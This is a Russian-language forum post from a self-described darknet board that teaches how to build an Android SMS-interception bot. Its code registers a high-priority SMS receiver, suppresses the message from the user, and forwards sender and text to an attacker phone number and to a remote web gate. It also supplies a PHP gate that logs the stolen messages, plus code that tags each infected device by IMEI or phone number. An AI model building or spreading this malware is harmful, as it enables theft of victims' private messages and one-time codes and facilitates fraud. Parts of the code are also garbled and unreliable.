Bandit

Пишем бота для перехвата смс под андроид (2015)

В теме 1 сообщение

Всем привет!

Сегодня мы разберёмся как работают боты для перехвата входящих смс под андроид(полного кода конечно же не будет, но будет объяснён принцип работы).

 

Для этого сначала в файле манифеста необходимо зарегистрировать свой "широковещательный приёмник":

 

Code:
<receiver android:name=".SMSReceiver"><intent-filter android:priority="100"><action android:name="android.provider.Telephony.SMS_RECEI VED" /> </intent-filter></receiver>
приоритет равен 100 для того что бы наше приложения гарантированно первым получило входящее сообщение

 

и задать нужные разрешения для получения входящих смс и отправки их нам на номер

 

Code:
<uses-permission android:name="android.permission.SMS_RECEIVED" /><uses-permission android:name="android.permission.SEND_SMS" />
После этого создадим свой класс который будет принимать все широковещательные запросы, "фильтровать" их на предмет входящего сообщения и отправлять его нам на номер:

Code:
public class SmsReceiver extends BroadcastReceiver {private static final String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";@Overridepublic void onReceive(Context context, Intent intent) {if (intent.getAction().equals(SMS_RECEIVED)) { // Проверяем что пришло именно смс сообщение(константа "android.provider.Telephony.SMS_RECEIVED")abortBroadcast(); // Прерываем широковещание для того что бы сообщение не увидел пользователь// Но как известно начиная с версии андроид 4.4.2 в наш приёмник попадает не само сообщение, а его копия(SMS_DELIVER_ACTION работает только для приложения по умолчанию для приёма сообщений)// Так что как скрыть его от пользователя на версиях аднроид >= 4.4.2 подумайте сами - есть как минимум два известных мне способа(которые не будут освещены в рамках данной статьи)Bundle bundle = intent.getExtras(); // Получаем все входящие данныеif (bundle != null) { // И если "не пустота"Object[] pdus = (Object[]) bundle.get("pdus");if (pdus.length != 0) { // И длина не равна нулю// Вот тут собираем все части входящего сообщения воедино(если текст смс превышает 170 символов то оно разбивается на части, а нам же не нужна только какая то часть? нам нужно сообщение целиком)// В переменную типа StringBuilder(последовательность символов)SmsMessage[] messages = new SmsMessage[pdus.length];StringBuilder sb = new StringBuilder();for (int i = 0; i < pdus.length; i++) {messages[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);sb.append(messages[i].getMessageBody());}String sender = messages[0].getOriginatingAddress(); // Получаем адрес отправителяString message = sb.toString(); // Преобразуем полученное сообщение из последовательности символов в строкуSmsManager sms = SmsManager.getDefault();sms.sendTextMessage("1234567890", null, message, null, null); // И отправляем полученное сообщение нам на номер }}}}}
Да, конечно отправлять перехваченные сообщения нам на номер удобно, но интереснее будет их слать на веб-гейт.

Для этого зададим разрешение для использования интернета:

 

Code:
<uses-permission android:name="android.permission.INTERNET" />
И создадим функцию которая будет отправлять данные используя протокол HTTP методом POST:

 

Code:
public void postData(String sender, String message) {HttpClient httpclient = new DefaultHttpClient(); // Создаём HttpClientHttpPost httppost = new HttpPost("http://B16B00B5.ru/gate.php"); // Указываем адрес гейтаtry {// Добавляем данные для отправки на гейтList<NameValuePair> nameValuePairs = new ArrayList<NameValuePair>(2);nameValuePairs.add(new BasicNameValuePair("sender", sender));nameValuePairs.add(new BasicNameValuePair("message", message));httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs));// Выполняем HTTP запрос методом POSTHttpResponse response = httpclient.execute(httppost);// Ловим все возможные ошибки} catch (ClientProtocolException e) {// Как то обрабатываем ошибку протокола} catch (IOException e) {// Как то обрабатываем ошибку ввода/вывода}}
// p.s. не плохо бы было этой функцией возвращать какое то значение в случае удачной отправки и неудачной - это уже кому надо сам доделает.

 

Ну и конечно же создадим скрипт gate.php который будет принимать данные от нашего приложения и писать их в файл:

 

Code:
<?php define(LOG_FILE_NAME, "log.txt"); // Зададим имя файла в который будем писать "логи", не забудьте выставить права на файл что бы процесс веб-сервера смог писать в него// chown apache:apache log.txt // или грубый вариант - chmod 777 log.txt$sender = urldecode($_POST['sender']); // Получим отправителя и переведём его из "интернет кодировки" в человеко-понятный и читабельный вид$message = urldecode($_POST['message']); // Получим текст сообщения и переведём его из "интернет кодировки" в человеко-понятный и читабельный вид$log = "Sender: " + $sender + "rn" + "Message: " + $message + "rnrn"; // Создадим формат логаfile_put_contents(LOG_FILE_NAME, $log, FILE_APPEND); // Ну и запишем наш лог в файл(FILE_APPEND говорит что необходимо дозаписывать в файл)?>
Вот как то так и работают боты которые перехватывают смс... но если внимательно прочитать всё выше написанное сразу возникает вопрос - а если ботов много то как определить от какого именно в логе сообщение?

А вот так - достаточно как то идентифицировать бота(присвоить ему какой то идентификатор и передавать его на гейт вместе с остальными данными), в качестве идентификатора бота можно использовать

например IMEI(IMEI для GSM или MEID для CDMA) аппарата:

 

Code:
String mID = android.telephony.TelephonyManager.getDeviceId()
или номер телефона:

 

Code:
TelephonyManager tMgr = (TelephonyManager)this.getSystemService(Context.TE LEPHONY_SERVICE);String mPhoneNumber = tMgr.getLine1Number(); // Не забудьте только проверить на null перед отправкой на гейт
для использования этих функций необходимо разрешение

 

Code:
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
ну и подружить это всё с основным кодом я думаю не составит труда

 

Вот теперь кажется всё

 

2015 darknet © 0xB16B00B5

Поделиться сообщением


Ссылка на сообщение

Для публикации сообщений создайте учётную запись или авторизуйтесь

Вы должны быть пользователем, чтобы оставить комментарий

Создать учетную запись

Зарегистрируйте новую учётную запись в нашем сообществе. Это очень просто!

Регистрация нового пользователя

Войти

Уже есть аккаунт? Войти в систему.

Войти